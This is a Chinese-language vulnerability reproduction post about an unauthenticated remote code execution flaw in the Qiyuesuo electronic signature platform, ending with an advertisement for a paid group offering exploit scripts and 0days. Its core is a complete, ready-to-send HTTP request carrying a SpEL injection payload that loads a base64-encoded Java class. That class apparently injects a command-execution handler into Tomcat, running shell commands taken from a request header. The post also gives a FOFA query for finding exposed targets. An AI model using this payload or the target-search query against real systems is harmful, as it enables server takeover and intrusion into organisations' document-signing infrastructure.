「漏洞复现」契约锁电子签章平台 add 远程命令执行漏洞

0x01 免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！

0x02 产品介绍

契约锁电子签章平台是上海亘岩网络科技有限公司推出的一套数字签章解决方案。契约锁为中大型组织提供“数字身份、电子签章、印章管控以及数据存证服务”于一体的数字可信基础解决方案,可无缝集成各类系统,让其具有电子化签署的能力,实现组织全程数字化办公。通过接口与组织的OA、HRM、CRM等系统集成，让现有管理系统具有电子签能力。系统按需配置，实现文件本地化存储。

0x03 漏洞威胁

契约锁电子签章平台 /captcha/%2e%2e/template/html/add 接口处存在远程代码执行漏洞，未经身份验证的攻击者可通过tomcat对路径参数解析不正当的特性绕过权限认证在目标执行恶意代码，获取服务器权限。经过分析和研判，该漏洞利用难度低，可导致远程代码执行，建议尽快修复。

影响范围：契约锁电子签章平台version <= 4.3

0x04 漏洞环境

FOFA:

app="契约锁-电子签署平台"

0x05 漏洞复现

POST /captcha/%2e%2e/template/html/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.155.44 Safari/537.36
Content-Type: application/json
X-State: whoami

{"file":"1","title":"2","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='T (org.springframework.cglib.core.ReflectUtils).defineClass("QysTest",T (org.springframework.util.Base64Utils). decodeFromString("yv66vgAAADIBKAoAIQCWCACXCgCYAJkKAJgAmgoAmwCcCACdCgCbAJ4HAJ8IAKAIAKEIAKIIAKMKAB8ApAoApQCmCACnCgCYAKgKAKUAqQcAgwoAmACqCACrCgAsAKwKACEArQoAHwCqCACuCgAfAK8KALAAqggAsQoALACyCACzCAC0BwC1CgAfALYHALcKALgAuQgAugcAuwgAvAgAvQcAvgoAJwC/CgAnAMAKACcAwQgAwgcAwwgAxAgAxQkAxgDHCgDGAMgIAMkHAMoIAMsIAMwIAM0KAM4AzwoALADQCADRCADSCADTCADUCADVBwDWCgDXANgKANcA2QoA2gDbCgA9ANwIAN0KAD0A3goAPQDfBwDgCgBFAJYIAOEKACwA4goARQDjCADkCADlBwDmCgBMAOcIAOgHAOkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxReXNUZXN0OwEACGRvSW5qZWN0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAV2YXIyOAEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAV2YXIyNgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAV2YXIyNwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABXZhcjMxAQAFdmFyMzIBABJMamF2YS9sYW5nL09iamVjdDsBAAV2YXIzMwEABXJlcG9uAQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlyZXN1bHRTdHIBAAZlbmNvZGUBAAV2YXIzMAEABXZhcjI5AQABSQEABXZhcjIxAQAFdmFyMjIBAAV2YXIyMwEABXZhcjI0AQAFdmFyMjUBAAV2YXI3OAEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwEABXZhcjIwAQAFdmFyMTkBABJMamF2YS9sYW5nL1RocmVhZDsBAAV2YXIxOAEABHZhcjgBAAR2YXI5AQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAV2YXIxMAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAFdmFyMTEBAAV2YXIxMgEABXZhcjEzAQAFdmFyMTQBAAV2YXIxNQEABXZhcjE2AQATW0xqYXZhL2xhbmcvVGhyZWFkOwEABXZhcjE3AQABWgEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAA21zZwEADVN0YWNrTWFwVGFibGUHAMMHAOoHAOsHAJ8HALUHAOwHALcHALsHAL4HAGcHAOYBAApTb3VyY2VGaWxlAQAMUXlzVGVzdC5qYXZhDABQAFEBAAVzdGFydAcA6gwA7QDuDADvAPAHAOsMAPEA8AEAHW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3RJbmZvDADyAPMBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEubGFuZy5UaHJlYWQBABVqYXZhLmxhbmcuVGhyZWFkR3JvdXABACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvAQAHdGhyZWFkcwwA9AD1BwDsDAD2APcBAAZ0YXJnZXQMAPgA+QwA+gD7DAD8AFgBAARodHRwDAD9AP4MAP8BAAEACUVuZHBvaW50JAwBAQECBwEDAQAab3JnLmFwYWNoZS50b21jYXQudXRpbC5uZXQMAQQBBQEABnRoaXMkMAEACmdldEhhbmRsZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAQYBBwEAEGphdmEvbGFuZy9PYmplY3QHAQgMAQkBCgEACWdldEdsb2JhbAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BAAZnbG9iYWwBAApwcm9jZXNzb3JzAQATamF2YS91dGlsL0FycmF5TGlzdAwBCwEMDAENAQ4MAPoBDwEAE2dldFdvcmtlclRocmVhZE5hbWUBABBqYXZhL2xhbmcvU3RyaW5nAQADcmVxAQAHZ2V0Tm90ZQcBEAwBEQB8DAESARMBAAtnZXRSZXNwb25zZQEAEltMamF2YS9sYW5nL0NsYXNzOwEACWdldEhlYWRlcgEAB1gtU3RhdGUBAAdvcy5uYW1lBwEUDAEVARYMARcAWAEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyBwEYDAEZARoMARsBHAcBHQwBHgEfDABQASABAAJcQQwBIQEiDAEjAFgBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyAQAFVVRGLTgMASQBJQwAaQEmAQAJYWRkSGVhZGVyAQAHc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24MAScAUQEABWVycm9yAQAHUXlzVGVzdAEAEGphdmEvbGFuZy9UaHJlYWQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlnZXRQYXJlbnQBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAApnZXRQYWNrYWdlAQAVKClMamF2YS9sYW5nL1BhY2thZ2U7AQARamF2YS9sYW5nL1BhY2thZ2UBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAFY2xvbmUBABQoKUxqYXZhL2xhbmcv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"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject()';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();\"}","name":"test"}]}

0x06 批量脚本验证

Nuclei验证脚本已发布
知识星球：冷漠安全

0x07 修复建议

关闭互联网暴露面或接口设置访问权限

目前官方已修复此漏洞，建议受影响用户尽快升级至安全版本

https://www.qiyuesuo.com/

0x08 加入我们

漏洞详情及批量检测POC工具请前往知识星球获取

知识星球：冷漠安全
交个朋友，限时优惠券：加入立减25
星球福利：每天更新最新漏洞POC、资料文献、内部工具等

「星球介绍」：

本星球不割韭菜，不发烂大街东西。欢迎进来白嫖，不满意三天退款。

本星球坚持每天分享一些攻防知识，包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。

本星主已加入几十余个付费星球，定期汇聚高质量资料及工具进行星球分享。

「星球服务」：

加入星球，你会获得：

♦ 批量验证漏洞POC脚本

♦ 0day、1day分享

♦ 汇集其它付费星球资源分享

♦ 大量的红蓝对抗实战资源

♦ 优秀的内部红蓝工具及插件

♦ 综合类别优秀Wiki文库及漏洞库

♦ 提问及技术交流